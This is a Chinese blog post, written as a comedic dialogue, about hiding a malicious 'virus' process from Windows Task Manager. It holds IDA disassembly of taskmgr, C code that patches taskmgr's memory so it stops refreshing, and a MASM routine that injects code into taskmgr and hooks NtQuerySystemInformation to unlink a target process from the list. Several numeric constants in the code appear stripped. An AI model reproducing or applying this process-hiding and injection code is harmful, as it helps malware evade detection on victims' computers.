[原创]反汇编之一:和Taskmgr过不去篇(无厘头版)
原文链接:和Taskmgr过不去篇(无厘头版)
Hook入门级文章,主要想培养一下偶写文章的感觉,老鸟无视…我想看看技术文章能不能无厘头的写,如果效果不错的话,准备更上一层-----用我的原创漫画表达。:)
(警告1:文章中有部分“限制级”词语,请11岁以下弟弟妹妹误入)
(警告2: 修正警告1,不是“误入”,是“勿入”哦,我没有做暗示哦…)
时间: 终结者2018年
场景: 地下泡泡澡堂
故事: 纯属虚构
在一场残酷的西红柿大战后,最终邪恶阿宝使用卑鄙无耻的招数轻松战胜了单纯的加菲,于是哥俩一起去地下废墟澡堂泡澡。在沉默了一阵之后加菲忽然问了阿宝
一个恐怖的问题……
加菲:……你说我们俩身上的毛哪个值钱…
阿宝:%##$%@#$%#@%#@,你想钱想疯啦……
加菲:最近手头比较紧,有没有活接?
阿宝:嘿嘿……搞定一个任务,钞票大大滴。
加菲(口水状):什么呀?
阿宝:老比最近打麻将输我200多,赖账不肯还……
加菲:不会吧…人家是首富哦…
阿宝:没办法呀,windows赔老喽,我准备把他的命根子毁了……
加菲:你这个流氓,我不跟你玩了…
阿宝:什么啊!我指的是他的windows,你想哪去了…
加菲(迅速岔开话题):今天晚上太阳好亮哦…
阿宝(画外音):#@$%#@%,我们俩到底谁邪恶…
加菲:怎么毁呀?
阿宝:我搞了一个宇宙超级大病毒程序,只要运行30分钟保准他的命根子玩蛋! 只要30分钟内不被windows taskmgr发现…
加菲:你傻啊?人家不会用其他进程查看工具嘛?
阿宝:说你不懂了吧,老比乱搞垄断,windows和taskmgr捆死了,其他 进程工具没法运行呀,嘿嘿…自掘死路…
加菲:这还不简单,做个rootkit在内核层把病毒进程隐藏起来不就行了。
阿宝:进不去RING0,只能在用户层搞……,有没有其他办法…
加菲:你超级病毒都能写出来,这个不会写?????
阿宝(-_-b):少废话,你要不要钞票了…
加菲:这个… 一炷香的功夫过去了…
阿宝:你到底想好了没啊?
加菲:taskmgr显示进程信息的控件是SysListView32,我想可以截获显示每一行 的消息,然后忽略显示病毒进程的那一条消息…
阿宝:好啊…做一个dll植入taskmgr,然后SysListView32子类化到dll中的一个 消息处理函数,过滤特定进程的消息…
加菲:没成功…可以截获和过滤消息,但显示老是会多出来一行…(可能是我 实现方法有问题,请看我以前发布的程序)
阿宝:那怎么办啊? 加菲:要不然这样,做一个进程文本修改器,类似游戏修改器中的自动修改变量, 只不过这个变量是一个进程名,只要找到病毒进程名字的文本,就将成其他混淆视 听的名字(svchost.exe)。
阿宝:8错,查找时要注意同时修改UNICODE的字符串哦…
加菲:成功了,因为两个进程同时要写一个内容,所以极少数时间里可能会造成 病毒进程名漏出马脚…
阿宝:嗯…病毒名有时会闪一下…进程数还是增加了…能不能干脆彻底删除这个 进程名而不是将其改成其他名字呢?
加菲:这个… 阿宝(舔和路雪冰淇淋):搞得怎么样了,有什么新花样呢?
加菲:如果你的超级病毒运行之后,就不准taskmgr 运行起来,如果已经运行起来 就将其关掉…
阿宝:这个不行,太招人显眼了…
加菲:把taskmgr僵掉…
阿宝:你以为你是林正英啊???怎么僵呢???
加菲:我刚才没事用IDA玩了一下taskmgr的body,发现一个好玩的 UpdateProcInfoArray过程哦,上代码(省略无关部分):
public: long __thiscall CProcPage::UpdateProcInfoArray(void) proc near
mov eax, dword_1016580
.text:0100CAD5 shr eax, 0Ah
.text:0100CAD8 mov ecx, eax
.text:0100CADA imul ecx, [ebp+var_1FC]
.text:0100CAE1 mov [ebp+var_88], ecx
.text:0100CAE7 mov ecx, eax
.text:0100CAE9 imul ecx, [ebp+var_1F8]
.text:0100CAF0 mov edx, eax
.text:0100CAF2 imul edx, [ebp+var_1F0]
.text:0100CAF9 mov [ebp+var_74], ecx
.text:0100CAFC mov ecx, eax
.text:0100CAFE imul ecx, [ebp+var_1F4]
.text:0100CB05 mov [ebp+var_6C], edx
.text:0100CB08 mov edx, eax
.text:0100CB0A imul eax, [ebp+var_1B4]
.text:0100CB11 imul edx, [ebp+var_1B8]
.text:0100CB18 mov [ebp+var_7C], eax
.text:0100CB1B add eax, edx
.text:0100CB1D push edi
.text:0100CB1E mov [ebp+var_78], eax
.text:0100CB21 push 24h
.text:0100CB23 lea eax, [ebp+var_F0]
.text:0100CB29 push eax
.text:0100CB2A push 15h
.text:0100CB2C mov [ebp+var_70], ecx
.text:0100CB2F mov [ebp+var_80], edx
.text:0100CB32 mov __int64 g_MEMMax, ecx
.text:0100CB38 mov dword_1016564, edi
.text:0100CB3E call esi ; NtQuerySystemInformation(x,x,x,x)
.text:0100CB40 test eax, eax
.text:0100CB42 jge short loc_100CB4E
.text:0100CB42
.text:0100CB44
.text:0100CB44 loc_100CB44: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+4Bj
.text:0100CB44 ; CProcPage::UpdateProcInfoArray(void)+7Aj
.text:0100CB44 mov eax, 80004005h
.text:0100CB49 jmp loc_100CE7E
.text:0100CB49
.text:0100CB4E ; ---------------------------------------------------------------------------
.text:0100CB4E
.text:0100CB4E loc_100CB4E: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+EEj
.text:0100CB4E mov eax, dword_1016580
.text:0100CB53 shr eax, 0Ah
.text:0100CB56 imul eax, [ebp+var_DC]
.text:0100CB5D mov ecx, ebx
.text:0100CB5F mov [ebp+var_84], eax
.text:0100CB65 call CProcPage::GetProcessInfo(void)
.text:0100CB65
.text:0100CB6A cmp eax, edi
.text:0100CB6C mov [ebp+var_58], eax
.text:0100CB6F jl loc_100CE64
.text:0100CB6F
.text:0100CB75 mov [ebp+var_48], edi
.text:0100CB75
.text:0100CB78
.text:0100CB78 loc_100CB78: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+1EEj
.text:0100CB78 mov esi, [ebx+10h]
.text:0100CB7B add esi, [ebp+var_48]
.text:0100CB7E mov eax, [esi+44h]
.text:0100CB81 cmp eax, edi
.text:0100CB83 jnz short loc_100CB8E
.text:0100CB83
.text:0100CB85 cmp [esi+], edi
.text:0100CB88 jz loc_100CC1D
加菲:注意 call CProcPage::GetProcessInfo(void) 这一行,进去看看:
public: long __thiscall CProcPage::GetProcessInfo(void) proc near
.text:0100A6AF ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+111p
.text:0100A6AF
.text:0100A6AF var_4 = dword ptr -
.text:0100A6AF
.text:0100A6AF mov edi, edi
.text:0100A6B1 push ebp
.text:0100A6B2 mov ebp, esp
.text:0100A6B4 push ecx
.text:0100A6B5 push ebx
.text:0100A6B6 push esi
.text:0100A6B7 xor ebx, ebx
.text:0100A6B9 push edi
.text:0100A6BA mov edi, ds:GetProcessHeap()
.text:0100A6C0 mov esi, ecx
.text:0100A6C2 mov [ebp+var_4], ebx
.text:0100A6C2
.text:0100A6C5
.text:0100A6C5 loc_100A6C5: ; CODE XREF: CProcPage::GetProcessInfo(void)+63j
.text:0100A6C5 mov eax, [esi+10h]
.text:0100A6C8 cmp eax, ebx
.text:0100A6CA jz short loc_100A6F9
.text:0100A6CA
.text:0100A6CC push ebx
.text:0100A6CD push dword ptr [esi+14h]
.text:0100A6D0 push eax
.text:0100A6D1 push
.text:0100A6D3 call ds:NtQuerySystemInformation(x,x,x,x)
.text:0100A6D9 cmp eax, ebx
.text:0100A6DB jge short loc_100A71B
.text:0100A6DB
.text:0100A6DD cmp eax, 0C0000004h
.text:0100A6E2 jnz short loc_100A723
.text:0100A6E2
.text:0100A6E4 mov eax, [esi+10h]
.text:0100A6E7 cmp eax, ebx
.text:0100A6E9 jz short loc_100A6F9
.text:0100A6E9
.text:0100A6EB push eax ; lpMem
.text:0100A6EC push ebx ; dwFlags
.text:0100A6ED call edi ; GetProcessHeap()
.text:0100A6EF push eax ; hHeap
.text:0100A6F0 call ds:HeapFree(x,x,x)
.text:0100A6F6 mov [esi+10h], ebx
.text:0100A6F6
.text:0100A6F9
.text:0100A6F9 loc_100A6F9: ; CODE XREF: CProcPage::GetProcessInfo(void)+1Bj
.text:0100A6F9 ; CProcPage::GetProcessInfo(void)+3Aj
.text:0100A6F9 add dword ptr [esi+14h], 1000h
.text:0100A700 push dword ptr [esi+14h] ; dwBytes
.text:0100A703 push ebx ; dwFlags
.text:0100A704 call edi ; GetProcessHeap()
.text:0100A706 push eax ; hHeap
.text:0100A707 call ds:HeapAlloc(x,x,x)
.text:0100A70D cmp eax, ebx
.text:0100A70F mov [esi+10h], eax
.text:0100A712 jnz short loc_100A6C5
.text:0100A712
.text:0100A714 mov [ebp+var_4], 8007000Eh
.text:0100A714
.text:0100A71B
.text:0100A71B loc_100A71B: ; CODE XREF: CProcPage::GetProcessInfo(void)+2Cj
.text:0100A71B ; CProcPage::GetProcessInfo(void)+7Bj
.text:0100A71B mov eax, [ebp+var_4]
.text:0100A71E pop edi
.text:0100A71F pop esi
.text:0100A720 pop ebx
.text:0100A721 leave
.text:0100A722 retn
阿宝:喔欧...(移动广告:3G时代...就说喔欧),这个比较明显了,里面调用 了原生态API NtQuerySystemInformation(x,x,x,x)...
加菲:下面偶来写一个过程让taskmgr僵住:
#define MAGIC_ADDR 0x100cb65
static const byte VerFlag[] = {0xe8,0x45,0xdb,0xff,0xff};
bool stoptm(DWORD pid)
{
bool bSuccess = false;
HANDLE ph = ; if(!pid)
{
puts("taskmgr not run!");
goto QUIT;
} ph = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
if(!ph)
{
puts("can't open taskmgr!");
goto QUIT;
} byte fixbin[sizeof(VerFlag)];
if(!ReadProcessMemory(ph,(LPCVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
{
puts("read mem failed!");
goto QUIT;
} if(memcmp(VerFlag,fixbin,sizeof(fixbin)))
{
puts("taskmgr isn't right ver!");
goto QUIT;
} memset(fixbin,0x90,sizeof(fixbin));
if(!WriteProcessMemory(ph,(LPVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
{
puts("write mem failed!");
goto QUIT;
} bSuccess = true;
QUIT:
if(ph)
CloseHandle(ph);
return bSuccess;
}
阿宝:我好像能看懂了,将对应的调用语句NOP掉,从而taskmgr无法再刷新 进程列表了...但这个不能对应不同版本的taskmgr吧?
加菲:这个...那是当然...
阿宝:你能不能给我个最终解决办法啊...
加菲:没办法了...只有用各个版本通杀技了,HOOk NtQuerySystemInformation , 然后改变其返回内容。要注意的是我们只需要HOOK 第一个参数为5的调用, 即Query系统进程信息,其他都不用理会。NtQuerySystemInformation 获取进程信息如果成功,将会返回一个数组,或者称其为一个链表更准确。结构如下:
typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //构成结构序列的偏移量;
ULONG ThreadCount; //线程数目;
ULONG Reserved1[];
LARGE_INTEGER CreateTime; //创建时间;
LARGE_INTEGER UserTime; //用户模式(Ring 3)的CPU时间;
LARGE_INTEGER KernelTime; //内核模式(Ring 0)的CPU时间;
UNICODE_STRING ProcessName; //进程名称;
KPRIORITY BasePriority; //进程优先权;
ULONG ProcessId; //进程标识符;
ULONG InheritedFromProcessId; //父进程的标识符;
ULONG HandleCount; //句柄数目;
ULONG Reserved2[];
VM_COUNTERS VmCounters; //虚拟存储器的结构,见下;
IO_COUNTERS IoCounters; //IO计数结构,见下;
SYSTEM_THREADS Threads[]; //进程相关线程的结构数组,见下;
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
加菲:我要做的只是在链表中查找需要隐藏进程的ID,然后将其剔除即可。
阿宝:怎么剔除呢?
加菲:分2种情况,若PID出现在链表的的尾部则直接将上一个链表指向NULL, 否则需要将上一个结构的指针指向PID结构后面一个结构,从而将其剔除,完整代码如下:
.
.model flat, stdcall
option casemap:none
.nocref
.nolist
include D:/work/masm32/include/windows.inc
include D:/work/masm32/include/user32.inc
include D:/work/masm32/include/kernel32.inc
.list
.listmacro
.listmacroall
IFNDEF UNICODE_STRING
UNICODE_STRING struct
_Length WORD ?
MaximumLength WORD ?
Buffer PWSTR ?
UNICODE_STRING ends
PUNICODE_STRING typedef ptr UNICODE_STRING
ENDIF
SPI struct
NextOffset DWORD ?
DWORD ?
Times QWORD dup(?)
ImageName UNICODE_STRING <?>
DWORD ?
ProcessId DWORD ?
Reserved DWORD dup(?)
SPI ends
PSPI typedef ptr SPI
.const
szDll db "ntdll.dll",
szQSI_func db "NtQuerySystemInformation",
.code
;**********************************************************
RT_BIN_START equ $
PID DWORD ? ;要隐藏进程的pid
pQSI_func DWORD ?
pQSI_Next DWORD ?
pBuf DWORD ?
pRetAddr DWORD ?
pPreviousSPI PSPI
dwEBX DWORD ?
;ORGBIN byte 5 dup(?)
FIXBIN byte dup(?)
RT_CODE_OFFSET equ $ - RT_BIN_START
len0 textequ %RT_CODE_OFFSET
% echo RT_CODE_OFFSET is len0
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
myQSI_func proc
mov ecx,ebx
call @F
@@:
pop ebx
sub ebx,offset @B
jmp DOIT
GoMaMa:
mov eax,dword ptr [esp]
mov dword ptr [esp + ],eax
pop eax
ORGBIN byte dup(?)
jmp [ebx + pQSI_Next]
DOIT:
mov dword ptr [ebx + dwEBX],ecx
mov dword ptr [ebx + pBuf],
push dword ptr [esp]
pop dword ptr [ebx + pRetAddr]
.if dword ptr [esp + ] ==
push dword ptr [esp+]
pop dword ptr [ebx + pBuf]
.endif call GoMaMa
;调用原始QSI成功且是获取SPIs的调用
.if eax == && dword ptr [ebx + pBuf] !=
assume eax:PSPI
mov ecx,dword ptr [ebx + PID]
mov eax,dword ptr [ebx + pBuf]
.while TRUE
.if [eax].ProcessId == ecx
.if [eax].NextOffset ==
mov eax,[ebx + pPreviousSPI]
mov [eax].NextOffset,
.else
mov ecx,[eax].NextOffset
mov eax,[ebx + pPreviousSPI]
add ecx,[eax].NextOffset
mov [eax].NextOffset,ecx
.endif
.break
.endif
.break .if [eax].NextOffset ==
push eax
pop dword ptr [ebx + pPreviousSPI]
add eax,[eax].NextOffset
.endw
assume eax:nothing
.endif mov ecx,ebx
mov ebx,[ebx + dwEBX]
jmp [ecx + pRetAddr]
;ret
myQSI_func endp
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
RT_BIN_END equ $
RT_BIN_LEN equ RT_BIN_END - RT_BIN_START
T_BIN_LEN textequ %RT_BIN_LEN
% echo RT_BIN_LEN is T_BIN_LEN
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
hookQSIfunc proc C uses ebx edi esi ph:HANDLE,pid:DWORD
local bSuccess,pRTBin,oldProtect mov bSuccess,FALSE
.if pid ==
jmp QUIT
.endif
invoke VirtualProtect,offset RT_BIN_START,/
T_BIN_LEN,PAGE_EXECUTE_READWRITE,/
addr oldProtect
.if !eax
jmp QUIT
.endif
invoke LoadLibrary,addr szDll
invoke GetProcAddress,eax,addr szQSI_func
.if !eax
jmp QUIT
.endif
mov pQSI_func,eax invoke VirtualAllocEx,ph,NULL,T_BIN_LEN,/
MEM_COMMIT,PAGE_EXECUTE_READWRITE
.if !eax
jmp QUIT
.endif
mov pRTBin,eax invoke ReadProcessMemory,ph,pQSI_func,/
addr ORGBIN,,NULL
.if !eax
jmp QUIT
.endif
mov eax,pRTBin
add eax,RT_CODE_OFFSET
sub eax,pQSI_func
sub eax,
mov byte ptr [FIXBIN],0E9h
mov dword ptr [FIXBIN+],eax mov eax,pQSI_func
add eax,
mov pQSI_Next,eax
push pid
pop PID
invoke WriteProcessMemory,ph,pRTBin,/
offset RT_BIN_START,T_BIN_LEN,NULL
.if !eax
jmp QUIT
.endif
invoke WriteProcessMemory,ph,pQSI_func,/
addr FIXBIN,,NULL
.if !eax
jmp QUIT
.endif mov bSuccess,TRUE
QUIT:
.if pRTBin
;invoke VirtualFreeEx,ph,pRTBin,/
;T_BIN_LEN,MEM_RELEASE
.endif
mov eax,bSuccess
ret
hookQSIfunc endp
;**********************************************************
end
阿宝:你好像是HOOK之后,直接将以上代码拷贝到taskmgr.exe进程空间中, 等待其自动调用,是吗?
加菲:没错,拷贝功能的函数即是hookQSIfunc,当然这要首先保证taskmgr在运行:
//检查taskmgr.exe当前是否在运行
DWORD findtm(void)
{
DWORD pid = ; PROCESSENTRY32 process = {.dwSize=sizeof(PROCESSENTRY32)};
HANDLE hss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,);
Process32First(hss,&process);
while(Process32Next(hss,&process))
{
if(!strcmp(process.szExeFile,"taskmgr.exe"))
{
pid = process.th32ProcessID;
break;
}
} CloseHandle(hss);
return pid;
}
阿宝(暗笑):是这样啊...嘿嘿
加菲(聚精会神地):这样一来无论哪个版本的taskmgr,只要获取机制没有变, 都可以搞定了,呵呵...终于搞定了...那个报酬怎么算...(回头),人呢???
阿宝(全裸速逃中...)
加菲:阿宝,你竟然敢欺骗偶的感情....
愤怒的加菲制造了N个加菲猫终结者T1300型追杀阿宝,至于阿宝能否逃脱,这就是另一个故事了哦 :)
(PS1:使用了电影分镜头剧本结构,适合改编为cartoon或flash之类的咚咚,结尾不是很好,修改中)
(PS2: 场景的选择是从刚看完的终结者2018获得的。)
[原创]反汇编之一:和Taskmgr过不去篇(无厘头版)的更多相关文章
- 【已更新】【原创】Chrome53 最新版惊现无厘头卡死 BUG!
发现问题 今天有客户向我们反馈了一个BUG:一个页面在IE.FireFox.Chrome52中能正常运行,但是在最新版的Chrome53中显示不了??? 习惯性的,我们需要客户提供页面在浏览器中的HT ...
- 【原创】IE11惊现无厘头Crash BUG(三招搞死你的IE11,并提供可重现代码)!
前言 很多人都知道我们在做FineUI控件库,而且我们也做了超过 9 年的时间,在和浏览器无数次的交往中,也发现了多个浏览器自身的BUG,并公开出来方便大家查阅: 分享IE7一个神奇的BUG(不是封闭 ...
- 记录一次无厘头的粗心失误——java后台报错:Unknown column 'xxx' in 'field list'
原因: sql文件马虎,直接用错了仓库.用的不是程序调用的仓库.而自己pojo和mapper还是采用Mybatis的逆向工程生成的.当时搞得很无厘头. 解决方案: sql用到程序指定的仓库就行啦. 总 ...
- IIS7.5中调试.Net 4.0网站出现无厘头500错误的解决办法 (转)
刚刚 部署了ii7的dll的有x86写的,就会出现以下这样的问题 iis 7 x86,Could not load file or assembly 'Name' or one of its depe ...
- go语言之进阶篇无缓冲channel
1.无缓冲channel 示例: package main import ( "fmt" "time" ) func main() { //创建一个无缓存的ch ...
- 吐血原创:mini2440和win7笔记本利用无路由功能的交换机共享上网(使用x-router软路由)
真的是要吐血了,为了使自己的win7系统笔记本和mini2440,通过交换机(没有路由功能,才5口,和HUB差不多)共享宽带上网,并且连接上的宽带还是长城宽带,我用尽各种cmd命令都查不到长城宽带的默 ...
- 分享关于学习new BufferedWriter()方法时常遇到的一个无厘头的问题
今天在学习IO的过程中,关于处理流BufferedWriter的使用时,遇到了一个很犯二但是又会让初学者经常没有避免的问题,百度后才发现有人和我一样二,这还是对java基础掌握得不牢固的原因啊. 首先 ...
- 【有意思的BUG】客户端无厘头 已连网的场景初始化太慢 未连网的场景异常崩溃
客户端 已连网的场景初始化太慢 当在未连接internet的时候,打开某些APP,会比较迅速地初始化进入到主页面. 但是当我在已经连接了internet的时候,打开某些APP,有些会初始化很久!!!! ...
- 【原创】这一次,Chrome表现和IE11一样令人失望,围观群众有:Edge,Firefox
前言 俗话说,常在河边走哪能不湿鞋,天天和浏览器打交道,发现浏览器竟然也隐藏BUG也不是新鲜事了.可以看下我之前的文章: [原创]分享IE7一个神奇的BUG(不是封闭标签的问题,的确是IE7的BUG) ...
随机推荐
- 【Android】Fragment如何获取子Fragment
今天搞了个嵌套的Fragment,通过外部的Fragment获取的子Fragment代码: this.navigationBar = (HXKJCargoNavigationView) getFrag ...
- 用OpenCV实现Otsu算法
算法的介绍 otsu法(最大类间方差法,有时也称之为大津算法)使用的是聚类的思想,把图像的灰度数按灰度级分成2个部分,使得两个部分之间的灰度值差异最大,每个部分之间的灰度差异最小,通过方差的计算来寻找 ...
- Mysql安全机制
在mysql下mysql库中有6个权限表 mysql.user 用户字段,权限字段,安全字段,资源控制字段 mysql.db . mysql.host 用户字段,权限字段 mysql.tables_p ...
- JSON对象和字符串的互相转换
1.JSON.parse; 作用:将JavaScript对象表示法的JSON字符串转换为对象(字符串转对象) 语法:JSON.parse(text [, reviver]) text 必选. 一 ...
- 四轴飞行器1.2.1 RT-Thread 环境搭建
买的飞控板到了,开始写下位机的程序了,本来打算用UCOS的,因为以前用过,比较熟悉,可以很快上手,不过板子的卖家推荐了RT-Thread,以前虽然有接触过,但是没用过,于是去官网看了下,感觉还不错.其 ...
- Python urllib和urllib2模块学习(二)
一.urllib其它函数 前面介绍了 urllib 模块,以及它常用的 urlopen() 和 urlretrieve()函数的使用介绍.当然 urllib 还有一些其它很有用的辅助方法,比如对 ur ...
- LPC同STM32的比较
Cortex-M3是新兴起来的一种ARM7的核,而ARM7TDMI是一种传统的经典的ARM内核.我们就抛开这一切,来比较一下两则的异同. 我们就在以下平台上比较吧: STMicoelectronics ...
- Delphi 获取北京时间(通过百度和timedate网站)
方法一: uses ComObj, DateUtils; function GetInternetTime: string; var XmlHttp: OleVariant; datetxt: str ...
- C++关键字之static
一.面向过程设计中的static 1.静态全局变量 在全局变量前,加上关键字static,该变量就被定义成为一个静态全局变量.我们先举一个静态全局变量的例子,如下: [cpp] #include& ...
- centos6.5 Eclipse C/C++开发环境及项目创建测试
1,新建C++ project